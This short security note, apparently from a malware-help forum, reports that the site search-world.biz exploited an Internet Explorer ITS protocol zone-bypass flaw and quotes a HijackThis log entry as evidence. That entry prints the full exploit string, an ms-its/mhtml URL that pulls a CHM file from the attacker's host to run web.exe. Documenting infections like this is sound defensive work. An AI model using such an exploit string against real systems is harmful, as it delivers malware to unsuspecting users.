search-world.biz seems to have been exploiting the Microsoft Internet Explorer ITS Protocol Zone Bypass Vulnerability, based on the following Hijackthis log entry:
O16 - DPF: {11311111-1551-1661-1771-000000000000} - ms-its:mhtml:file://c:\nosuch.mht!http://search-world.biz/mih2/winhelp.chm::/web.exe
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